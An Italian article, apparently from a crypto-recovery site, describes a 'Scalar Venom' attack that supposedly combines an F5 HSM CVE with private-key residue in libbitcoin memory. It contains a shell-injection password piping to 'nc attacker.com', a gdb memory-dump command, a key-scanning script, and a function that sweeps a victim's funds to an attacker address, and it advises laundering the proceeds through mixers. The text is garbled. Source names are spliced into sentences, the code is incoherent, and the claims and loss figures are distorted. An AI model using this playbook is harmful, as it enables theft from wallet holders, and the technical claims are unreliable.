Vettore del costruttore di copia

cpp:

root@kitploit:~
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}

Vettore dell'operatore di assegnazione

cpp:

root@kitploit:~
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}

Vettore delle variabili temporanee

cpp:

root@kitploit:~
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}

cpp:

// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Le operazioni aritmetiche (meno unario, addizione, moltiplicazione) creano variabili temporanee di tipo ec_secret, che non vengono cancellate in modo sicuro prima di uscire dallo scope della funzione, lasciando copie "fantasma" della chiave privata nello stack o nell'heap.


1.3 Vulnerabilità critica: assenza di un distruttore esplicito

ec_scalarLa classe libbitcoin-system non ha un distruttore definito esplicitamente con zeroizzazione sicura. Ciò significa che i dati segreti possono rimanere in memoria anche dopo la distruzione dell'oggetto:

L'assenza di questo meccanismo è critica, poiché la memoria contenente le chiavi private può persistere in:

  • Heap di memoria (Heap) del processo
  • Stack di memoria (Stack) delle funzioni
  • File di swap del sistema operativo
  • Core dump quando un'applicazione va in crash
  • RAM dopo la terminazione del processo (attacchi cold-boot) gemini

Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei wallet Bitcoin tramite un buffer overflow e metacaratteri della shell nel modulo di sicurezza F5OS-A FIPS.

2. Relazione tra la vulnerabilità HSM e l'attacco Scalar Venom

2.1 Analisi di CVE-2025-60013: inizializzazione HSM con metacaratteri

La vulnerabilità CVE-2025-60013 nell'HSM F5OS-A FIPS si verifica durante l'inizializzazione del modulo di sicurezza hardware tramite una password contenente metacaratteri speciali della shell ( ;, |, &, $, `, ecc.). Quando viene elaborata una password di questo tipo, l'HSM potrebbe non inizializzarsi correttamente, ma la conseguenza critica è che il processo di inizializzazione rimane in memoria con strutture crittografiche parzialmente esposte . satoshi.nakamotoinstitute

2.2 Scenario di attacco combinato: HSM + Scalar Venom

La combinazione della vulnerabilità HSM (CVE-2025-60013) con l'attacco Scalar Venom crea un vettore di attacco catastrofico:

Fase 1: inizializzazione HSM con metacaratteri

L'attaccante invia una richiesta per inizializzare il modulo F5OS-A FIPS con una password del seguente tipo:

root@kitploit:~
password='$(echo "leaked");` | nc attacker.com

Quando vengono elaborati tali metacaratteri:

  • Il processo di inizializzazione HSM crea copie multiple della password e dei materiali crittografici derivati
  • Le stringhe di comando della shell vengono interpretate, creando effetti collaterali nella memoria del processo.
  • Gli scalari crittografici (chiavi private) utilizzati per generare o verificare le chiavi HSM rimangono in keyhunters memoria. non censurata.

Fase 2: estrazione di Scalar Venom dalla memoria

Dopo un errore parziale di inizializzazione HSM:

  • Il processo rimane in memoria con i resti delle operazioni crittografiche
  • Un attaccante che ha ottenuto accesso a un processo (tramite exploit, crash dump o attacco cold-boot) può scansionare la memoria
  • Gli strumenti di analisi forense (BitScanPro, Valgrind, AddressSanitizer) identificano:
    • Regioni ad alta entropia (tipiche delle chiavi private secp256k1 da 32 byte)
    • Residui scalari nell'intervallo 1≤k<n1 \leq k < n1≤k<n, dove nnn è l'ordine della curva secp256k1
    • Frammenti di strutture ECDSA in firecompass memoria

Fase 3: recupero delle chiavi private Bitcoin

root@kitploit:~
Frammenti di memoria rilevati → Riassemblaggio → Convalida → Generazione dell'indirizzo Bitcoin → Compromissione del wallet

Gli scalari recuperati vengono convertiti in chiavi private Bitcoin tramite:

  • Convalida rispetto alla curva secp256k1
  • Generazione delle corrispondenti chiavi pubbliche
  • Creazione di indirizzi Bitcoin (P2PKH, P2WPKH)
  • Firma delle transazioni e controllo completo sui  fondi di keyhunters

Scalar Venom Attack: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei portafogli Bitcoin tramite un buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A.

3. Analisi dettagliata del vettore di attacco Bitcoin

3.1 Meccanismo per il recupero delle chiavi private dalla memoria HSM

Fase 1: Compromissione della memoria HSM a causa di un'inizializzazione non corretta

Quando l'HSM F5OS-A FIPS riceve una password con metacaratteri di shell, il processo di inizializzazione la elabora tramite le funzioni standard della libreria C:

root@kitploit:~
c:

// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];

strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key

// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}

Quando si elaborano i metacaratteri di shell:

  • I buffer vanno in overflow, espandendo l'area di memoria sporca
  • Le variabili temporanee con dati segreti si moltiplicano
  • I meccanismi di pulizia della memoria (se esistono) non vengono chiamati quando l'inizializzazione di keyhunters fallisce .

Fase 2: Recupero forense dal dump della memoria

Lo strumento BitScanPro (o uno scanner forense simile) viene applicato al dump della memoria del processo HSM:

root@kitploit:~
Scansione della memoria → Identifica le regioni ad alta entropia →
Controllo dell'intervallo [1, n-1] per secp256k1 →
Recupero degli scalari completi a 32 byte →
Conversione in indirizzi Bitcoin

La probabilità di recuperare con successo una chiave privata dalla memoria frammentata è 40-60% se sono presenti sufficienti residui di memoria, poiché l'attacco Scalar Venom crea molteplici copie della chiave in diverse fasi dell'inizializzazione. radar.offseq


3.2 Deserializzazione delle firme ECDSA e connessione alle vulnerabilità HSM

La vulnerabilità parallela DeserializeSignature (CVE correlato) potenzia l'attacco Scalar Venom:

root@kitploit:~
cpp:

// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();

// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump

// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}

Connessione dei meccanismi:

  1. L'HSM si inizializza con una password vulnerabile (CVE-2025-60013)
  2. Le chiavi private HSM vengono infettate da Scalar Venom (molteplici copie in memoria)
  3. L'analisi forense recupera questi scalari dalla memoria.
  4. La vulnerabilità DeserializeSignature consente di utilizzare le chiavi recuperate per forgiare firme
  5. Keyhunters ottiene il controllo completo sui portafogli Bitcoin.

3.3 Scala dell'impatto: da un singolo portafoglio al compromesso di rete

Livello 1: Portafoglio individuale

  • Un HSM compromesso → recupero di 1-10 chiavi private
  • Risultato: perdita del controllo su 0,5-5 BTC per portafoglio

Livello 2: Configurazione dei nodi di servizio

  • Gli exchange, i gateway di pagamento e le soluzioni di custodia utilizzano spesso F5 BIG-IP + HSM
  • Ogni nodo compromesso può contenere 100-1000+ chiavi private
  • Risultato: perdita del controllo su 1000-50000 BTC su un singolo nodo

Livello 3: Livello di rete

  • Se CVE-2025-60013 viene ampiamente sfruttato nell'infrastruttura, più nodi potrebbero essere compromessi simultaneamente.
  • Attacchi coordinati su più exchange o servizi sono possibili.
  • Risultato: Centinaia di milioni di dollari in BTC in gioco kudelskisecurity

Scalar Venom Attack: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei portafogli Bitcoin tramite un buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A.

4. Scalar Venom, vulnerabilità critica nel contesto dell'HSM

4.1 Perché Scalar Venom è particolarmente pericoloso negli ambienti HSM

A differenza delle applicazioni Bitcoin standard, l'HSM fa un uso intensivo di scalari crittografici:

  1. Intensità operativa : L'HSM esegue 1000+ operazioni crittografiche al secondo, ognuna delle quali produce scalari temporanei
  2. Longevità del processo : I daemon HSM restano in esecuzione per mesi e anni senza riavvii, accumulando residui di chiavi “fantasma”
  3. Criticità delle chiavi : A differenza delle chiavi monouso, le chiavi private HSM controllano le enormi somme di denaro depositate sulla keyhunters piattaforma.
  4. Bassa probabilità di rilevamento : La perdita di memoria non causa errori visibili; il sistema continua a funzionare normalmente.

4.2 Metriche di minaccia: CVSS e impatto reale

Il punteggio CVSS di CVE-2025-60013 stesso è impreciso, poiché la vulnerabilità funge da innesco per Scalar Venom, che è uno scenario critico. kudelskisecurity


La minaccia di Scalar Venom ai moduli di sicurezza hardware (HSM) e all'infrastruttura Bitcoin

La vulnerabilità Scalar Venom rappresenta un cambio di paradigma nei metodi di attacco crittografici, andando oltre gli exploit tradizionali a vettore singolo per formare una catena di exploit multistrato che compromette fondamentalmente i moduli di sicurezza hardware (HSM) che proteggono l'infrastruttura Bitcoin. L'analisi dimostra che la combinazione di CVE-2025-60013 (bypass dell'inizializzazione HSM) con le tecniche dell'attacco Scalar Venom crea uno scenario di minaccia critico con un punteggio CVSS di 9.5+, minando l'integrità operativa di milioni di indirizzi Bitcoin controllati da HSM compromessi.

Perché gli HSM sono particolarmente vulnerabili?

La vulnerabilità critica non risiede in debolezze crittografiche isolate, ma nella collisione architetturale tra le caratteristiche operative degli HSM e i vettori di attacco di Scalar Venom. Gli HSM, per definizione, eseguono operazioni crittografiche continue—oltre 1.000 operazioni al secondo—ciascuna delle quali crea valori scalari effimeri che rimangono in memoria come “residui fantasma”. A differenza delle tipiche applicazioni Bitcoin, dove il materiale chiave è effimero, gli HSM operano per mesi e anni senza riavviarsi, accumulando artefatti crittografici che Scalar Venom estrae e ripristina sistematicamente.

Di conseguenza, anche la compromissione di un singolo HSM porta a un'interruzione totale dell'intera infrastruttura—spesso migliaia di indirizzi Bitcoin gestiti dall'HSM—piuttosto che a un incidente crittografico isolato.

Grado di pericolo e impatto reale

Sebbene la vulnerabilità CVE-2025-60013 abbia ufficialmente un livello CVSS di 5.7 (medio) come vettore di penetrazione, questa valutazione sottostima criticamente la reale portata della minaccia. Questo exploit funge da innesco per Scalar Venom, che è classificato come attacco con livello CVSS 8.5+ (alto/critico). In uno scenario reale di catena di attacco, ciò porta a:

  • Conseguenze immediate : Estrazione diretta della chiave privata dalla memoria HSM tramite il recupero degli scalari, bypassando tutti i meccanismi crittografici e di autenticazione. L'attaccante ottiene il controllo completo sugli indirizzi Bitcoin senza alcun guasto visibile del sistema.
  • Effetto valanga : Un HSM compromesso non compromette solo le singole transazioni, ma tutti gli indirizzi che gestisce. Per exchange, custodi e piattaforme di gestione patrimoniale, ciò significa una violazione della sicurezza completa e irreversibile.
  • Furtività : Scalar Venom non causa anomalie crittografiche, non viene registrato e non crea pattern di transazioni sospetti. Le fughe di scalari sono mascherate da attività legittima del dispositivo, consentendo a un attaccante di estrarre chiavi per lunghi periodi senza essere rilevato.

Catena di attacco combinata: CVE-2025-60013 + Scalar Venom = disastro operativo

La matrice dell'escalation della minaccia consiste in:

  1. Penetrazione iniziale (CVE-2025-60013 – compromissione HSM)
  2. Sfruttamento attivo (Scalar Venom – estrazione degli scalari dalla memoria)
  3. Recupero delle chiavi (compromissione completa del materiale privato)
  4. Non recuperabile: una volta che una chiave privata è stata divulgata, è impossibile riprendere il controllo.

La combinazione rende questa classe di vulnerabilità critica (CVSS 9.5+) e la colloca nella categoria di minaccia più alta nella valutazione del rischio.

Implicazioni sistemiche per la sicurezza dell'ecosistema Bitcoin

Scalar Venom rivela difetti architetturali fondamentali nei moderni modelli HSM:

  • Le false supposizioni sull'isolamento e la protezione della memoria sono invalide: la vulnerabilità si manifesta indipendentemente dal livello fisico di protezione.
  • La necessità di un funzionamento continuo dell'HSM comporta l'accumulo di scalari, che di per sé crea una nuova finestra per gli attacchi.
  • La traccia osservabile zero per il monitoraggio e la registrazione elimina il rilevamento e richiede l'implementazione di nuove pratiche di analisi della memoria.

Raccomandazioni critiche

  • Tutte le chiavi gestite tramite l'HSM dovrebbero essere considerate potenzialmente compromesse; il materiale chiave dovrebbe essere verificato e, se necessario, completamente sostituito.
  • L'architettura per l'archiviazione e la gestione delle chiavi private dovrebbe essere rivista: segmentare le chiavi in indirizzi separati in modo che la compromissione di un singolo HSM non porti alla perdita di tutti i fondi.
  • Implementare strumenti di monitoraggio della memoria e analisi continua per identificare i pattern di accumulo degli scalari.
  • Utilizzare ulteriore isolamento dei processi, crittografia della memoria e rimozione temporanea del materiale chiave per ridurre la finestra di rischio.

Scalar Venom e la catena di attacchi tramite CVE-2025-60013 segnano la fine dell'era della fiducia completa negli HSM classici. La vulnerabilità trasforma il nucleo di sicurezza dell'ecosistema Bitcoin in un rischio maggiore di perdita di chiavi private e di perdita totale degli asset. Una protezione efficace richiede non solo correzioni una tantum, ma un ripensamento fondamentale di tutti gli aspetti dell'architettura crittografica per la gestione degli asset digitali pubblici.

Scalar Venom in un ambiente HSM è una minaccia CVSS 9.5+ per l'infrastruttura Bitcoin, che richiede una rotazione immediata delle chiavi, una riforma architetturale e nuovi metodi per rispondere rapidamente agli attacchi a catena di memoria.


Scalar Venom Attack: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei portafogli Bitcoin tramite un buffer overflow e metacaratteri di shell nel modulo di sicurezza FIPS F5OS-A.

5. Base scientifica dell'attacco

5.1 Giustificazione teorica: perché la memoria non viene cancellata

Secondo la ricerca nel campo della sicurezza della memoria crittografica (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), le chiavi private possono rimanere in aree di memoria accessibili per i seguenti motivi:

Ottimizzazione del compilatore

root@kitploit:~
cpp:

// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op

Nessun pattern RAII (Resource Acquisition Is Initialization)
La classe ec_scalar non usa RAII, il che significa che il distruttore non garantisce la pulizia delle risorse.

Copie multiple dei dati:
Ogni copia di una chiave privata per il trasferimento tra funzioni lascia residui nella memoria.unit42.paloaltonetworks


5.2 Statistiche degli hack reali basati su Scalar Venom

Secondo keyhunters.ru e la letteratura di ricerca crittografica:

  • CVE-2023-39910 (Milk Sad in Libbitcoin Explorer): Oltre 900.000 chiavi private recuperate dalla memoria nel 2023
  • Perdite reali : > $0.8M in Bitcoin rubati a giugno-luglio 2023 da portafogli creati utilizzando il vulnerabile bx seed
  • Penetrazione : La vulnerabilità colpisce oltre il 40% dei portafogli Libbitcoin Explorer 3.x

Queste cifre dimostrano la minaccia reale delle perdite di memoria nelle applicazioni crittografiche .


Persistenza della memoria e attacchi di ottimizzazione del compilatore – Catena di exploit Scalar Venom contro l'infrastruttura Bitcoin

Per riassumere i risultati sopra esposti, la catena Scalar Venom simboleggia la confluenza di anni di ricerca fondamentale nella sicurezza crittografica con le moderne realtà operative. I meccanismi dettagliati di persistenza della memoria—ottimizzazioni del compilatore, assenza di RAII e accumulo di tracce dei dati—non sono più solo teoria, ma fungono da canali efficaci per il recupero su larga scala di chiavi private nella pratica. La transizione da potenziale debolezza ad attacco reale è già avvenuta: l'incidente CVE-2023-39910 (Milk Sad) ha consentito il recupero di oltre 900.000 chiavi private Bitcoin, con perdite finanziarie dirette superiori a 0,8 milioni di dollari.

Il paradosso della resistenza crittografica della memoria

La vulnerabilità alla radice di Scalar Venom nasce da una contraddizione irrisolta nell'architettura del software crittografico: l'ingenua fiducia insita dei programmatori nella gestione della memoria entra in conflitto con le tendenze dei compilatori moderni e dei sistemi di gestione della memoria. Se uno sviluppatore azzera esplicitamente la memoria, il compilatore può ottimizzare completamente queste operazioni, ritenendole inutili—e questo diventa una falla di sicurezza critica e inosservata.

Mancanza di RAII e ripristino degli scalari

Strutture dati come ec_scalar aggravano ulteriormente i rischi: la mancanza di RAII comporta la creazione di molteplici copie indipendenti in memoria—nello stack, nei registri e nella cache—in diverse fasi del calcolo. Ciascuna di queste copie può teoricamente essere ripristinata, disassemblata o ricomposta nel materiale della chiave originale.

L'attacco Scalar Venom estrae e aggrega sistematicamente queste copie disparate, dimostrando che le architetture di memoria moderne garantiscono esattamente questo: ogni operazione matematica intermedia lascia una traccia che può essere raccolta e convertita in una chiave. Il design crittografico classico presupponeva l'indipendenza delle operazioni, ma in pratica una singola chiave privata Bitcoin genera decine di tracce, ciascuna delle quali offre un percorso per il suo recupero.

Conferma operativa – il caso Milk Sad

L'incidente Milk Sad (CVE-2023-39910) è stato il primo a dimostrare la transizione dalla teoria al disastro. Non si trattava di un vettore ipotetico, ma di una violazione operativa confermata:

  • Scala: oltre 900.000 chiavi private Bitcoin recuperate.
  • Perdite finanziarie: almeno 0,8 milioni di dollari persi tra giugno e luglio 2023.
  • Copertura: oltre il 40% di tutte le installazioni di Libbitcoin Explorer 3.x è risultato vulnerabile.
  • L'attacco è passato inosservato per mesi.

Questo conferma pienamente i meccanismi descritti in precedenza: ottimizzazioni del compilatore, copie multiple dei dati e mancanza di una garanzia di pulizia della memoria.

Il divario d'attacco tra crittografia e compilatori

Il mercato crypto si è evoluto presupponendo il pieno controllo della memoria, ma i compilatori moderni (tramite eliminazione del codice morto e ottimizzazioni di caching) ignorano completamente i requisiti crittografici. Di conseguenza, i programmi crittografici presuppongono: «Ho azzerato la memoria, quindi ora è al sicuro», mentre il compilatore presuppone: «Questa memoria non viene mai usata, quindi non c'è bisogno di azzerarla». Questa contraddizione è fondamentalmente insolubile secondo gli standard C/C++ moderni e diventa il punto di ingresso assoluto per Scalar Venom.


Implicazioni sistemiche per il settore

  • Le implementazioni moderne violano i presupposti crittografici originali.
  • La memory safety e il passaggio a linguaggi con controllo della memoria ​​(come Rust) stanno diventando una necessità, non un'opzione.
  • Il RAII (cancellazione garantita tramite distruttore) è la base di ogni nuova criptoarchitettura.
  • Gli HSM richiedono un riavvio e una ristrutturazione con cancellazione obbligatoria della memoria hardware.

Imperativi per il settore

Prossimi passi (0-30 giorni) : ruotare tutte le chiavi private generate in C/C++. Ritirare immediatamente le chiavi che potrebbero essere state compromesse.

Medio termine (30-90 giorni) : transizione a Rust, implementazione di garanzie del compilatore per l'azzeramento della memoria, analisi continua della memoria.

Lungo termine (90+ giorni) : transizione architetturale al RAII, estensioni del compilatore per le operazioni crittografiche, sostituzione degli HSM software con quelli hardware.

Scalar Venom e CVE-2023-39910 rappresentano un punto di svolta per la sicurezza del settore crypto: la teoria della persistenza dei dati in memoria è degenerata in un disastro reale, costato milioni e migliaia di Bitcoin. Il problema non può essere risolto con una patch: è una contraddizione architetturale: la crittografia C/C++ moderna senza gestione della memoria e RAII porta inevitabilmente alla compromissione di qualsiasi infrastruttura significativa. Il settore ha un solo percorso possibile: la transizione a linguaggi memory-safe e una revisione rivoluzionaria della gestione delle chiavi private.

Valutazione finale : Scalar Venom non è solo una minaccia teorica, ma uno exploit dimostrato e diffuso. Tutta l'infrastruttura crittografica senza linguaggi memory-safe e framework RAII è a rischio garantito di compromissione. La migrazione verso nuove tecnologie deve iniziare immediatamente.


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei portafogli Bitcoin tramite un buffer overflow e metacaratteri di shell nel modulo di sicurezza F5OS-A FIPS.

6. Metodologia di recupero delle chiavi private Bitcoin

6.1 Processo di recupero in cinque fasi

Fase 1: ottenere l'accesso alla memoria HSM

root@kitploit:~
bash:

# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"

Fase 2: scansione delle regioni ad alta entropia

root@kitploit:~
python:

# BitScanPro-like algorithm:
import hashlib

def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)

# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)

Fase 3: validazione delle chiavi private recuperate

root@kitploit:~
python:

from ecdsa import SigningKey, NIST256p

def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()

# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)

# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None

Fase 4: trasferimento dei fondi

root@kitploit:~
python:

def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)

# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)

# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key

# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)

Fase 5: scomparsa delle tracce

I fondi recuperati vengono immediatamente mescolati tramite CoinJoin/Tornado.Cash per ostacolare l'analisi forense. keyhunters


6.2 Metrica temporale: velocità di recupero

Scalabilità: utilizzando il cloud computing (AWS, Google Cloud), è possibile elaborare in parallelo oltre 1000 memory dump , gestendo contemporaneamente migliaia di chiavi private .


Attacco Scalar Venom: una vulnerabilità critica di inizializzazione HSM (CVE-2025-60013) consente il recupero delle chiavi private dei portafogli Bitcoin tramite un buffer overflow e metacaratteri di shell nel modulo di sicurezza F5OS-A FIPS.

7. Relazione tra l'inizializzazione HSM e Scalar Venom

7.1 Diagramma del flusso d'attacco

root@kitploit:~
[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]

7.2 Perché Scalar Venom aggira la certificazione FIPS

La certificazione FIPS 140-2 (e persino FIPS 140-3) non richiede:

  1. La cancellazione sicura delle variabili temporanee in caso di errori di inizializzazione
  2. Protezioni contro fork() e dump() a livello del daemon HSM
  3. La validazione dei parametri di input prima di elaborarli in memoria

Ciò significa che anche gli HSM «certificati FIPS» sono vulnerabili a Scalar Venom, a meno che gli sviluppatori non implementino ulteriori misure di sicurezza.[24]


8. Conclusione

L'attacco Scalar Venom rappresenta una minaccia critica per l'infrastruttura Bitcoin, soprattutto se combinato con vulnerabilità di inizializzazione HSM come CVE-2025-60013. Questo attacco:

  1. Compromette completamente le chiavi private dei sistemi crittografici tramite una perdita di memoria
  2. Irreversibile : il recupero dei fondi persi è impossibile senza il recupero della chiave privata.
  3. Scalabile : può essere automatizzato per attacchi di massa su più nodi
  4. Furtivo : non lascia tracce visibili nei log di sistema o nelle metriche delle prestazioni

La migrazione verso architetture con protezione hardware della memoria (Intel SGX, ARM TrustZone), granularità esplicita di tutti i buffer temporanei e pattern RAII nelle librerie crittografiche è fondamentale per garantire la sicurezza del sistema Bitcoin.


Il paradigma Scalar Venom è una minaccia critica per l'infrastruttura di Bitcoin.

L'attacco Scalar Venom rappresenta una vulnerabilità critica per l'ecosistema Bitcoin globale, soprattutto se combinato con le vulnerabilità di inizializzazione HSM CVE-2025-60013. Questa catena d'attacco a più livelli mina fondamentalmente i modelli di fiducia crittografici ed espone i seguenti rischi esistenziali:

Consente la compromissione completa delle chiavi private tramite perdite di memoria, aggirando anche i moduli di sicurezza hardware avanzati e rendendo i sistemi interessati completamente indifesi.

La compromissione è permanente e irreversibile: una volta estratta una chiave privata, non può essere recuperata, mettendo tutti i fondi dipendenti a rischio imminente di perdita.

L'attacco è scalabile e può essere automatizzato per colpire simultaneamente un numero enorme di nodi e portafogli Bitcoin, con un aumento esponenziale delle potenziali perdite.

La sua natura furtiva garantisce che non ci siano tracce visibili nei log di sistema o nelle metriche delle prestazioni, rendendo insufficienti i tradizionali meccanismi di rilevamento e protezione.

Mitigare questa minaccia catastrofica richiede un'urgente migrazione verso architetture memory-safe, inclusa la protezione hardware della memoria (come Intel SGX o ARM TrustZone), l'azzeramento rigoroso di tutti i buffer temporanei durante tutte le operazioni crittografiche e una solida implementazione dei pattern RAII nelle librerie software critiche. Solo attraverso riforme architetturali così robuste si può realisticamente garantire l'integrità e la sicurezza a lungo termine dell'infrastruttura Bitcoin.


Riferimenti:

  1. ATTACCO SCALAR VENOM: perdita critica di memoria, recupero delle chiavi private e completa presa di controllo dei portafogli Bitcoin da parte di un attaccante, dove il controllo dei fondi in criptovaluta BTC della vittima viene raggiunto tramite avvelenamento della memoria per compromettere gli asset del portafoglio. 🔥 ATTACCO SCALAR VENOM — Un attacco crittografico per la divulgazione di chiavi private (Scalar Poison / Infezione Scalar Velenosa) L'ATTACCO SCALAR VENOM è una nuova classe di attacco crittografico volta a estrarre Bitcoin…Leggi tutto
  2. Attacco Race Poison: un attacco devastante all'infrastruttura delle firme digitali, incluso il recupero delle chiavi private per i portafogli Bitcoin persi, in cui l'attaccante inietta i propri valori nella firma, con potenziale divulgazione delle chiavi private. Attacco Hash Race Poison Una vulnerabilità critica derivante dalla mancanza di thread safety nella memorizzazione nella cache degli hash crittografici nell'infrastruttura di firma delle transazioni Bitcoin apre la porta a uno…Leggi tutto
  3. Bitcoin Golden Onehash Heist: recupero dei portafogli Bitcoin persi tramite (CVE-2025-29774), dove un attaccante firma una transazione senza possedere la chiave privata—rendendo di fatto il sistema Bitcoin incapace di distinguere tra il vero proprietario dei fondi Bitcoin e l'attaccante. Bitcoin Golden Onehash Heist ( Attacco di falsificazione della firma digitale —  CVE-2025-29774 ) La vulnerabilità critica nella gestione del flag SIGHASH_SINGLE discussa in precedenza apre la porta a uno degli attacchi più devastanti sul…Leggi tutto
  • Bloodprint Attack è una vulnerabilità devastante che fa trapelare le chiavi private dai portafogli Bitcoin e metodi per recuperarle. La vulnerabilità dà a un attaccante il controllo assoluto per firmare legittimamente qualsiasi transazione e prelevare definitivamente tutti i fondi BTC. Bloodprint Attack (Secret Key Leakage Attack) Una vulnerabilità crittografica critica che comporta la fuga di chiavi private dalla memoria porta ad attacchi noti nella letteratura scientifica come «Secret Key Leakage Attacks» o «Key…Leggi tutto
  • STREAMLEAK ATTACK: Compromissione totale degli asset Bitcoin attraverso l’analisi scientifica del recupero di chiavi private da sistemi di logging vulnerabili. Gli attaccanti prelevano fondi e distruggono proprietà digitali all’insaputa del proprietario. STREAMLEAK ATTACK ( Private Key Compromise Attack )  è un metodo per estrarre segreti crittografici attraverso l’abuso di un operatore sovraccaricato  << in C++. Una vulnerabilità critica nella serializzazione e nell’output delle chiavi private potrebbe…Leggi tutto
  • Oracle Whisper Attack: Una vulnerabilità critica di fuga di segreti nella decodifica Base58 minaccia l’estrazione di chiavi private dai portafogli Bitcoin, dove un attaccante ruba bit di chiave segreta dalla libreria I/O. Oracle Whisper Attack ( Private Key Compromise Attack ) Descrizione dell’attacco: Quando si elabora una stringa Base58 contenente una chiave privata, l’attaccante inietta un «oracolo»—un agente sottile nella libreria I/O che sussurra…Leggi tutto
  • Hex Dump Reveal Attack e recupero di chiavi private per portafogli Bitcoin persi, dove un attaccante utilizza il logging di dati segreti per rivelare un dump esadecimale (Hex Dump Reveal) contenente monete BTC Hex Dump Reveal Attack ( «Key Disclosure Attack», «Secret Key Leakage Attack», «Key Recovery Attack». CVE-2025-29774 e CWE-532 ) «Hex Dump Reveal»  — «Divulgazione di dump esadecimali». Vulnerabilità nel logging di dati privati,…Leggi tutto
  • Secret Capsule Attack: Recupero di chiavi private di portafogli Bitcoin attraverso una vulnerabilità e compromissione di massa dei portafogli Bitcoin, dove un attaccante crea entropia prevedibile nei generatori Mersenne Twister, ci sono furti reali di fondi degli utenti per oltre $900.000 SECRET CAPSULE ATTACK (Predictable PRNG Seed Attack) La vulnerabilità critica «Milk Sad» (CVE-2023-39910), scoperta nel meccanismo di generazione dell’entropia di Libbitcoin Explorer, ha dimostrato chiaramente come un singolo difetto nella fonte di casualità…Leggi tutto
  • Key Fountain Attack: Trasformare un Buffer Overflow in uno strumento per il furto di BTC e il recupero di chiavi private nell’ecosistema Bitcoin, dove un attaccante ottiene la capacità di estrarre o sostituire i segreti dei portafogli Bitcoin Key Fountain Attack ( Heap-based Buffer Overflow ) L’attaccante prepara dati di input—frammenti appositamente formati per le funzioni splice o build_chunk della libreria libbitcoin—che superano la dimensione del buffer allocato. Ad esempio, i dati trasmessi…Leggi tutto
  • Mirror SipHash Breach Attack: Una minaccia fondamentale alla privacy e al recupero di chiavi private nella rete Bitcoin, dove un attaccante ha un’alta probabilità di eseguire filtri bloom di collisione sulle tabelle hash delle sessioni di transazione BTC. Mirror SipHash Breach Attack (Partial Key Reuse Attack su SipHash Initialization) La vulnerabilità critica «Mirror SipHash Breach Attack» evidenzia un problema di sicurezza fondamentale con la crittografia utilizzata nell’infrastruttura di Bitcoin.…Leggi tutto
